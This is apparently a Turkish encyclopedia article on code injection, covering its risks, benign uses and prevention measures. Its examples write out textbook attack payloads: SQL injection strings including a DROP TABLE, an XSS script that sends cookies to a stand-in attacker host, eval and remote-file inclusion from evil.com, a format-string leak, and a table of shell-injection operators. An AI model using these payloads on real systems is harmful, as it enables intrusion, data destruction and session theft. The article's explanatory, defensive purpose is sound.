Enjeksiyon, veri kaybına veya bozulmasına, hesap verilebilirliğin olmamasına veya erişimin engellenmesine sebep olabilir. Enjeksiyon bazen ana bilgisayarın tamamen devralınmasına sebep olabilir.

Kod enjeksiyonu belirli türleri, kullanıcı girdisine özel anlam veren yorumlama hatalarıdır. Benzer yorumlama hataları, komedi rutini Who’s on First gibi bilgisayar bilimi dünyasının dışında da bulunmaktadır. Rutin olarak, özel isimleri normal sözcüklerden ayırt etmede bir başarısızlık vardır.

Kod enjeksiyon teknikleri, bilgi elde etmek için, ayrıcalık yükseltmek veya bir sisteme yetkisiz erişim elde etmek için sistem saldırıları ve kırma işlemlerinde popülerdir. Kod enjeksiyonu, aşağıdakiler de dahil olmak üzere birkaç amaç için kötü niyetli olarak kullanılabilir:

  • SQL enjeksiyonu yoluyla bir veritabanındaki değerleri keyfi olarak değiştirme. Bunu etkisi, web sitesi silinmesinden hassas verilerin ciddi şekilde tehlikeye atılmasına kadar değişebilir.
  • Sunucu komut dosyası kodunu (PHP veya ASP) gibi ekleme yapılarak bir sunucuya kötü niyetli yazılım yüklemek veya çalıştırmak.
  • Microsoft Windows üzerindeki bir servisi kullanarak yerel sistemi veya UNIX üzerindeki setuid kök ikilisi içerisindeki Shell enjeksiyon güvenlik açıklarını kullanarak ayrıcalık yükseltmek.
  • Web kullanıcılarına HTML/komut dosyası ekleme. (Siteler arası komut dosyası ekleme).

Kayıtlardaki en yüksek yıl olan 2008’de bildirilen tüm güvenlik açıklarının %5.66’sı kod enjeksiyonu olarak sınıflandırılmıştır. 2015’te bu oran %0.77’ye düşmüştür.[2]

İyi huylu ve kasıtsız kullanım

Kod enjeksiyonu iyi niyetle kullanılabilir, örneğin bir programın ya da sistemin davranışını kod enjeksiyonu yoluyla değiştirme ya da ince ayar yapmak, sistemin herhangi bir kötü niyeti olmaksızın belirli bir şekilde davranmasına sebep olabilir.[3][4] Örneğin kod yerleştirme,

  • Arama sonuçları sayfasının orijinal tasarımında görünmeyen kullanışlı yeni bir sütun eklemek.
  • Orijinal tasarımın varsayılan işlevlerinde gösterilmeyen bir alanı kullanarak verileri filtreleme, sıralama veya gruplama için yeni bir yol önermek.
  • Dropbox gibi programlarla ilgili olarak, çevrimdışı bir programda çevrimiçi kaynaklara bağlanmak için kullanılabilecek özel parçalar eklemek.
  • Belirli bir libc fonksiyonuyla aynı ada sahip bir işlev tanımlayarak bu işlevi bir kütüphane olarak bağlamak ve libc fonksiyonunun kullanımını geçersiz kılmak için Linux Dinamik Bağlayıcı kullanmak.[5]

Bazı kullanıcılar şüphesizce kod enjeksiyonu gerçekleştirebilir çünkü programa sağladıkları girdi, sistemi ilk geliştirenler tarafından dikkate alınmazdı. Örneğin:

  • Kullanıcının geçerli bir girdi olarak kabul edebileceği şey, geliştirici tarafından özel bir anlamı olması için ayrılmış belirteç karakteri ya da karakter dizeleri içerebilir. (Belki “Shannon & Jason” için “&” karakteri ya da “Bob ‘Slugger’ McCracken” içerisindeki tırnak işareti)
  • Kullanıcı tek bir uygulamada incelikle işlenmiş ancak alıcı sistem için zararlı olan hatalı biçimlendirilmiş bir dosyayı girdi olarak gönderebilir.

Kod enjeksiyonunda bir başka iyi niyetli kullanım ise bu kusurları düzeltmek amacıyla enjeksiyon kusurlarının keşfedilmesi olabilir. Bu beyaz şapka sızma testi olarak bilinir.

Sorunları önleme

Kod enjeksiyonu problemlerini önlemek için, güvenli giriş ve çıkış işlemleri kullanılır. Örneğin:

  • API kullanmak. Doğru kullanılırsa tüm giriş karakterlerine karşı güvenlidir. Parametreli sorgular (“Derlenmiş Sorgular”, “Hazırlanmış İfadeler”, “Bağlı Değişkenler” olarak da bilinir.) kullanıcı verilerinin yorumlanacak dize dışına taşınmasına izin verir. Ek olarak Criteria API ve benzeri API’lar, oluşturulan ve yorumlanan komut dizilerinden uzaklaşır.
  • Statik tür sistemi[6] aracılığıyla dil ayrımını zorlamak.
  • Yalnızca bilinen iyi değerlerin beyaz listeye alınması gibi girdi doğrulaması, örneğin Javascript kullanılarak istemci tarafında yapılabilir ya da daha güvenli olan sunucu tarafında yapılabilir.
  • Giriş kodlaması (Tehlikeli karakterlerden kaçınmak). Örneğin PHP’de “htmlspecialchars()” HTML’deki metnin güvenli çıktısı için özel karakterlerden kaçınmak ve “mysqli::real_escape_string()” SQL enjeksiyona karşı koruma sağlamak için bir SQL isteğine dahil edilecek verileri izole etme fonksiyonunu kullanmak.
  • Çıktı kodlaması yani web sitesi ziyaretçilerine yönelik HTML Enjeksiyon (XSS) saldırısını önleme.
  • “HttpOnly”, HTTP çerezleri için bir bayraktır ve ayarlandığı zaman, çerezler ile sunucu/istemci etkileşimine izin vermez. Böylece belirli XSS saldırıları[7] önlenir.
  • Kernel’den modüler kabul ayırma.
  • SQL enjeksiyon ile sorunları azaltmaya yardımcı olmak için parametreli sorgular, saklı prosedürler, beyaz liste giriş doğrulaması ve daha fazlası kullanılabilir.[8]

Yukarıda listelenen çözümler, öncelikle web tabanlı HTML veya komut dosyası kodunun bir sunucu tarafı uygulamasına eklenmesiyle ilgilidir. Bununla beraber kullanıcı makinesi üzerindeki kullanıcı kodunun enjeksiyonu ile uğraşırken, ayrıcalık yükseltme saldırılarına neden olan başka yaklaşımlar da alınmalıdır. Yönetilen ve yönetilemeyen kod enjeksiyonlarını algılamak ve izole etmek için kullanılan bazı yaklaşımlar vardır:

  • Çalışma zamanı görüntü özet (hash) doğrulaması: Bellek içerisindeki çalıştırılabilir dosyanın bir bölümünün ya da tamamının görüntü özetinin yakalanması ve saklanan ile beklenen özetlerin karşılaştırılması.
  • NX Bit: Tüm kullanıcı verileri, çalıştırılamaz olarak işaretli özel bellek bölgelerinde saklanır. İşlemci, belleğin o bölümünde hiç kod olmadığını anlar ve orada bulunan herhangi bir şeyi çalıştırmayı reddeder.
  • Kanaryalar (Canaries): Değerlerin rastgele bellek alanlarına yerleştirilmesi. Çalışma zamanında, bir fonksiyon döndüğü zaman, bir kanarya kontrol edilir. Kanarya değiştirilmişse, program çalışmayı durdurur ve çıkış yapar. Bu yığın taşması saldırısında oluşur.
  • (C dilinde) Kod İşaretçi (Pointer) Maskeleme (CPM): (Potansiyel olarak değiştirilmiş) bir kod işaretçisini bir kayıt defterine yükledikten sonra işaretçiye bit maskesi uygulanır. Bu işaretçinin gösterdiği adresleri etkili bir şekilde kısıtlar.[9]

Örnekler

SQL enjeksiyonu

SQL enjeksiyonu, bir veritabanını okuyabilen, değiştirebilen veya orijinal sorgunun anlamından taviz verebilen komutları enjekte etmek için SQL sözdiziminden yararlanır.

Örneğin, kullanıcıların kullanıcı adı ve parola girmesi için 2 alanı bulunan bir web sayfası varsayın. Sayfanın arkasındaki kod, kullanıcıların isim listesine göre parolayı kontrol etmek için bir SQL sorgusu oluşturacaktır:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

Eğer sorgu bir satır dönerse erişime izin verilir. Ancak, kötü niyetli bir kullanıcı geçerli bir kullanıcı adı girerse ve parola alanına geçerli bir kod (password' OR '1'='1) eklerse ortaya çıkan sorgu şu şekilde görünür:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

Yukarıdaki örnekte, parolanın boş ya da zararsız bir karakter dizisi olduğu varsayılır. "'1'='1'" daima doğru olacaktır ve çok sayıda satır dönecek, bu sayede erişime izin verilecektir.

Bu teknik, birden çok ifadenin çalışmasına izin verecek, hatta harici programları yükleyip çalıştıracak şekilde iyileştirilebilir.

Aşağıdaki formatta bir sorgu varsayılır:

SELECT User.UserID
FROM User
WHERE User.UserID = ' " + UserID + " '
AND User.Pwd = ' " + Password + " '

Bir saldırgan aşağıdaki girdilere sahipse:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

sorgu şu şekilde ayrıştırılacaktır:

SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

Sonuç olarak “User” tablosu veritabanından kaldırılacaktır. Bunun nedeni, “ ; ” sembolü bir komutun sonunu ve yenisinin başlangıcını gösterir. “ -- ” bir yorumun başlangıcını gösterir.

Kod enjeksiyonu, bir uygulamaya kötü amaçlı yazılımın eklenmesidir. Bazı web sunucularında, kullanıcılardan gelen küçük mesajları kabul eden ve genellikle aşağıdaki gibi mesajları alan bir ziyaretçi defteri komut dizisi (script) içerir:

Very nice site!

Ancak kötü niyetli bir kişi, ziyaretçi defterindeki kod enjeksiyon açıklarını bilebilir ve aşağıdai gibi bir mesaj girer:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Başka bir kullanıcı sayfayı görüntülerse enjekte edilen kod yürütülür. Bu kod, saldırganın başka bir kullanıcının yerine geçmesine izin verir. Fakat aynı yazılım hatası, web sitesinin hatalı HTML kodu görüntülenmesine neden olacak şekilde iyi niyetli bir kullanıcı tarafından yanlışlıkla tetiklenebilir.

HTML ve komut dizisi enjeksiyonu, yaygın olarak “siteler arası komut dosyası çalıştırma” veya “XSS” olarak adlandırılan popüler bir konudur. XSS, kullanıcı girişinin, HTML kodu veya komut dosyası için kontrol edilmeden çıktı HTML koduna bu satırların yerleştirildiği bir enjeksiyon kusurunu ifade eder.

Bu problemlerin çoğu, hangi girdi verilerinin mümkün olduğuna dair hatalı varsayımlara ve özel verilerin etkileriyle ilgilidir.[10]

Dinamik değerlendirme güvenlik açıkları

Bir saldırgan eval() fonksiyon çağrısına verilen girdi karakter dizisinin bir kısmını ya da tamamını kontrol ettiği zaman, eval() enjeksiyon güvenlik açığı oluşur.[11]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

“ eval ” parametresi PHP gibi işlenecek, böylece ek komutlar eklenebilir olacaktır. Örneğin, “ arg ” değeri "10; system('/bin/echo uh-oh')" olarak ayarlanırsa sunucu üzerinde "/bin/echo" dizininde bir program ek olarak çalıştırılır.

Nesne enjeksiyonu

PHP, tüm nesnelerin serileştirilmesine ve serileştirmenin kaldırılmasına izin verir. Seri durumdan çıkarma fonksiyonunda güvenilmeyen girdilere izin verilirse, programdaki mevcut sınıfların üzerine yazmak ve kötü niyetli saldırılar çalıştırmak mümkün olacaktır. Bunun gibi bir saldırıyı 2013 yılında Joomla’da bulunmuştur.[12]

Uzaktan dosya enjeksiyonu

İstek mesajı içeren bir PHP programı varsayalım:

<?php
$color = 'blue';
if (isset($_GET['color']))
    $color = $_GET['color'];
require($color . '.php');

Bu örnek sadece “blue.php” ve “red.php” gibi okunabilir renk dosyalarını yükleyebilirken, saldırganlar harici bir dosya yüklemeyi COLOR=http://evil.com/exploit ile sağlayabilirler.

Format belirteci enjeksiyonu

Format dizisi hataları, en yaygın olarak, bir programcının kullanıcı tarafından girilen bir karakter dizisini yazdırmak istediği zaman ortaya çıkar. Programcı yanlışlıkla printf("%s", buffer) yerine printf(buffer) yazabilir. İlk versiyonda buffer bir karakter dizisi formatında yorumlanır ve içerdiği herhangi bir formattaki komutları çözümler. İkinci versiyonda buffer ekrana programcının amacına uygun basitçe karakter dizisi yazdırır. Şifreyi yerel “password” karakter dizisinde tutan kısa bir C programı düşünelim. Bu program kullanıcıdan bir tamsayı ve bir karakter dizisi ister. Sonra kullanıcının sağladığı karakter dizisini dışarıya tekrarlar.

  char user_input[100];
  int int_in;
  char password[10] = "Password1";

  printf("Enter an integer\n");
  scanf("%d", &int_in);
  printf("Please enter a string\n");
  fgets(user_input, sizeof(user_input), stdin);
  
  printf(user_input); // Safe version is: printf("%s", user_input);  
  printf("\n");

  return 0;

Kullanıcı %s%s%s%s%s%s%s gibi format belirteçleri kullanarak girdisini doldurursa printf() komutu yığın (stack)’dan okumaya başlayacaktır. Sonunda, %s format belirteçlerinden biri yığın üzerinde bulunan password adresine erişecektir ve ekrana Password1 yazdırır.

Kabuk enjeksiyonu

Kabuk (Shell) enjeksiyonu (komut enjeksiyonu[13]) Unix kabuklarından sonra adlandırılır, ancak yazılımın programlı olarak komut satırından çalışmasına izin verilen çoğu sistemde uygulanabilir. Örneğin savunmasız tcsh komut dizisi:

#!/bin/tcsh
# check arg outputs it matches if arg is one 
if ($1 == 1) echo it matches

Yukarıdakiler ./check çalıştırılabilir dosyası içerisine saklanırsa, ./check " 1 ) evil" kabuk komutu ile argümanı sabit olanla karşılaştırmak yerine enjekte edilen evil kabuk komutunu çalıştırmayı deneyecektir. Burada saldırı altındaki kod, parametreyi kontrol etmeye çalışan koddur, yani bir saldırıya karşı savunmak için parametreyi doğruılamaya çalışan koddur.[14]

Bir kabuk komutu oluşturma ve çalıştırmak için kullanılabilecek herhangi bir fonksiyon, bir kabuk enjeksiyon saldırısı başlatmak için potansiyel bir araçtır. Bunlar arasında system(), StartProcess() ve System.Diagnostics.Process.Start() vardır.

Web sunucuları ile web tarayıcıları etkileşimi gibi sunucu-istemci sistemleri, kabul enjeksiyonuna karşı potansiyel olarak savunmasızdır. Kullanıcının gönderdiği bir kelimeyi başka bir kelimeyle değiştirmek için çağrılan harici funnytext programını çalıştırmak amacıyla bir web sunucusunda çalıştırılabilen aşağıdaki kısa PHP programını düşünelim.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

Yukarıda oluşturulan bir kabuk komutu olan passthru sonra web sunucusu tarafında yürütülür. Oluşturduğu komutun bir kısmı web tarayıcısı tarafından sağlanan URL’den alındığından, bu URL’in kötü amaçlı kabuk komutları enjekte etmesine izin verir. Çeşitli kabuk özelliklerinin söz diziminden yararlanılarak bu programa kod enjekte edilebilir (bu liste ayrıntılı değildir):[15]

Shell feature USER_INPUT value Resulting shell command Explanation
Sequential execution ; malicious_command /bin/funnytext ; malicious_command Executes funnytext, then executes malicious_command.
Pipelines malicious_command malicious_command Sends the output of funnytext as input to malicious_command.
Command substitution `malicious_command` /bin/funnytext `malicious_command` Sends the output of malicious_command as arguments to funnytext.
Command substitution $(malicious_command) /bin/funnytext $(malicious_command) Sends the output of malicious_command as arguments to funnytext.
AND list && malicious_command /bin/funnytext && malicious_command Executes malicious_command iff funnytext returns an exit status of 0 (success).
OR list | malicious_command | malicious_command Executes malicious_command iff funnytext returns a nonzero exit status (error).
Output redirection > ~/.bashrc /bin/funnytext > ~/.bashrc Overwrites the contents the .bashrc file with the output of funnytext.
Input redirection < ~/.bashrc /bin/funnytext < ~/.bashrc Sends the contents of the .bashrc file as input to funnytext.

Bazı diller kabuk komutlarını oluşturmak için doğru bir şekilde kaçılan ya da alıntı yapılan karakter dizileri için fonksiyonlar önerir:

Ancak bu durum programcılara bu fonksiyonları bilme/öğrenme ve kabuk komutlarını her kullandıklarında bunlardan yararlanmayı hatırlama görevi yükler. Bu fonksiyonların kullanılmasına ek olarak kullanıcı girdisinin doğrulanması ve steril hale getirilmesi önerilir.

Daha güvenli bir alternatif ise harici programları bir kabul yerine doğrudan çalıştıran API’lar kullanmaktır, böylece kabuk enjeksiyonunun olma ihtimalini önler. Ancak, bu API’lar kabuğun kolaylık sağlayan çeşitli özelliklerini destekleme eğiliminde değildirler ve/veya kısa kabuk sözdizimlerine kıyasla daha hantal/ayrıntılı olma eğilimindedir.

Ayrıca bakınız

Referanslar

 

Dış bağlantılar

  1. ^ "OWASP Top Ten Web Application Security Risks | OWASP". owasp.org (İngilizce). Erişim tarihi: 2021-12-25. 
  2. ^ "NVD - Search and Statistics". nvd.nist.gov. Erişim tarihi: 2021-12-25. 
  3. ^ "Wayback Machine" (PDF). web.archive.org. Erişim tarihi: 2021-12-25. 
  4. ^ Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). Kotenko, Igor; Skormin, Victor (Ed.). "Symptoms-Based Detection of Bot Processes". Computer Network Security. Lecture Notes in Computer Science (İngilizce). Berlin, Heidelberg: Springer: 229–241. doi:10.1007/978-3-642-14706-7_18. ISBN 978-3-642-14706-7. 
  5. ^ "Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs". Rafał Cieślak's blog (İngilizce). 2013-04-02. Erişim tarihi: 2021-12-25. 
  6. ^ "A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes? - Tom Moertel's Blog". blog.moertel.com. Erişim tarihi: 2021-12-25. 
  7. ^ "HttpOnly - Set-Cookie HTTP response header | OWASP". owasp.org (İngilizce). Erişim tarihi: 2021-12-25. 
  8. ^ "SQL Injection Prevention - OWASP Cheat Sheet Series". cheatsheetseries.owasp.org. Erişim tarihi: 2021-12-25. 
  9. ^ Philippaerts, Pieter; Younan, Yves; Muylle, Stijn; Piessens, F.; Lachmund, Sven; Walter, T. (2013). "CPM: Masking Code Pointers to Prevent Code Injection Attacks". TSEC. doi:10.1145/2487222.2487223. 
  10. ^ Hope, Brian; Walther, Ben (2009). Web security testing cookbook : systematic techniques to find problems fast. Internet Archive. Beijing, China ; Sebastopol, Ca. : O'Reilly. ISBN 978-0-596-51483-9. 
  11. ^ "Full Disclosure: Dynamic Evaluation Vulnerabilities in PHP applications". seclists.org. Erişim tarihi: 2021-12-25. 
  12. ^ "Analysis of the Joomla PHP Object Injection Vulnerability | Karma(In)Security". karmainsecurity.com. Erişim tarihi: 2021-12-25. 
  13. ^ "Command Injection | OWASP Foundation". owasp.org (İngilizce). Erişim tarihi: 2021-12-25. 
  14. ^ "CS:3620 Notes, Lecture 4, Spring 2018". homepage.divms.uiowa.edu. Erişim tarihi: 2021-12-25. 
  15. ^ "Command Injection - Black Hat Library". archive.md. 2015-02-27. Erişim tarihi: 2021-12-25.